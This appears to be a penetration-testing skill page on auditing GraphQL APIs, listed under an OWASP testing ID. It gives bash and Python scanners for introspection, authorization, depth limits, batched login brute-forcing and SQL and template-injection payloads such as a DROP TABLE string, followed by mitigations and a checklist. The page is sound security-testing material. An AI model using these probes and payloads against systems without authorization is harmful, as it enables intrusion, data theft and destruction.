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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
| name | wstg-apit-99 |
| description | Testing GraphQL |
| category | api-testing |
| owasp_id | WSTG-APIT-99 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["api","rest","graphql","soap","wstg","apit"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-APIT-99
Testing GraphQL APIs
GraphQL is a query language for APIs that allows clients to request exactly the data they need. While flexible, GraphQL APIs introduce unique security challenges including introspection, batching attacks, nested queries, and authorization bypass opportunities.
#!/bin/bash
TARGET="target.com"
endpoints=(
"/graphql"
"/graphql/console"
"/graphiql"
"/graphql/v1"
"/api/graphql"
"/gql"
"/query"
)
for endpoint in "${endpoints[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "https://$TARGET$endpoint" \
-H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}')
if [ "$status" != "404" ]; then
echo "[FOUND] $endpoint: "
# Full introspection query
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name type { name } } } } }"}' | jq '.'
# Get all queries and mutations
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { queryType { fields { name } } mutationType { fields { name } } } }"}' | jq '.'
#!/usr/bin/env python3
import requests
import json
class GraphQLTester:
def __init__(self, url, headers=None):
self.url = url
self.session = requests.Session()
if headers:
self.session.headers.update(headers)
self.findings = []
def query(self, query, variables=None):
"""Execute GraphQL query"""
payload = {"query": query}
if variables:
payload["variables"] = variables
response = self.session.post(
self.url,
json=payload,
headers={"Content-Type": "application/json"}
)
return response.json()
def test_introspection(self):
"""Test if introspection is enabled"""
print("[*] Testing introspection...")
query = """
{
__schema {
types { name }
queryType { fields { name } }
mutationType { fields { name } }
}
}
"""
result = self.query(query)
if 'errors' not in result or '__schema' in str(result):
print("[VULN] Introspection enabled!")
self.findings.append({
"issue": "GraphQL introspection enabled",
"severity": "Medium"
})
# Extract types
if 'data' in result and result['data']:
schema = result['data'].get('__schema', {})
types = schema.get('types', [])
print(f" Found {len(types)} types")
# List queries and mutations
query_type = schema.get('queryType', {})
if query_type:
queries = [f['name'] for f in query_type.get('fields', [])]
print(f" Queries: {queries[:10]}")
else:
print("[OK] Introspection disabled")
def test_authorization(self, queries):
"""Test authorization on queries"""
print("\n[*] Testing authorization...")
for query_name, query in queries.items():
result = self.query(query)
if 'data' in result and result['data']:
print(f"[POTENTIAL] Accessible: {query_name}")
elif 'errors' in result:
error_msg = str(result['errors'])
if 'unauthorized' in error_msg.lower() or 'forbidden' in error_msg.lower():
print(f"[OK] Protected: {query_name}")
else:
print(f"[CHECK] Error on {query_name}: {error_msg[:50]}")
def test_depth_limit(self, max_depth=10):
"""Test query depth limits"""
print("\n[*] Testing depth limits...")
# Build nested query
nested = "{ users "
for i in range(max_depth):
nested += "{ friends "
nested += "{ id } " + "} " * max_depth + "}"
result = self.query(nested)
if 'errors' in result:
error = str(result['errors'])
if 'depth' in error.lower() or 'complexity' in error.lower():
print(f"[OK] Depth limit enforced")
else:
print(f"[WARN] Query failed but not due to depth limit")
else:
print(f"[VULN] No depth limit (tested {max_depth} levels)")
self.findings.append({
"issue": "No query depth limit",
"severity": "Medium"
})
def test_batching(self):
"""Test batch query vulnerabilities"""
print("\n[*] Testing batching...")
# Batch login attempts (for brute force)
batch_query = """
query {
q1: login(email: "test1@test.com", password: "pass1") { token }
q2: login(email: "test2@test.com", password: "pass2") { token }
q3: login(email: "test3@test.com", password: "pass3") { token }
}
"""
result = self.query(batch_query)
if 'errors' not in result or 'data' in result:
print("[WARN] Batching allowed - potential for brute force")
self.findings.append({
"issue": "Batching allows brute force",
"severity": "Medium"
})
def test_injection(self):
"""Test for injection vulnerabilities"""
print("\n[*] Testing injection...")
payloads = [
'{ user(id: "1 OR 1=1") { id } }',
'{ user(id: "1\'; DROP TABLE users--") { id } }',
'{ user(id: "${7*7}") { id } }',
'{ user(id: "{{7*7}}") { id } }',
]
for payload in payloads:
result = self.query(payload)
if 'errors' in result:
error = str(result['errors'])
if 'sql' in error.lower() or 'syntax' in error.lower():
print(f"[VULN] SQL error disclosure")
self.findings.append({
"issue": "SQL injection possible",
"severity": "Critical"
})
def generate_report(self):
print("\n" + "="*50)
print("GRAPHQL SECURITY REPORT")
print("="*50)
if not self.findings:
print("\nNo issues found.")
return
print(f"\nFindings: {len(self.findings)}")
for f in self.findings:
print(f"\n [{f['severity']}] {f['issue']}")
# Usage
tester = GraphQLTester(
"https://target.com/graphql",
{"Authorization": "Bearer token"}
)
tester.test_introspection()
tester.test_authorization({
"users": "{ users { id email } }",
"admin": "{ admin { secrets } }",
})
tester.test_depth_limit()
tester.test_batching()
tester.test_injection()
tester.generate_report()
| Tool | Description |
|---|---|
| GraphQL Voyager | Schema visualization |
| Altair | GraphQL client |
| InQL | Burp Suite extension |
| graphql-cop | Security auditor |
# Disable introspection in production
from graphene import Schema
schema = Schema(query=Query, mutation=Mutation)
# Production settings
if not DEBUG:
schema.introspection = False
# Implement depth limiting
from graphene.validation import depth_limit_validator
schema.execute(query, validation_rules=[depth_limit_validator(5)])
| Finding | CVSS | Severity |
|---|---|---|
| Introspection enabled | 5.3 | Medium |
| No depth limit (DoS) | 5.3 | Medium |
| Authorization bypass | 7.5 | High |
| SQL injection | 9.8 | Critical |
[ ] GraphQL endpoint found
[ ] Introspection tested
[ ] Authorization checked
[ ] Depth limits tested
[ ] Batching tested
[ ] Injection tested
[ ] Findings documented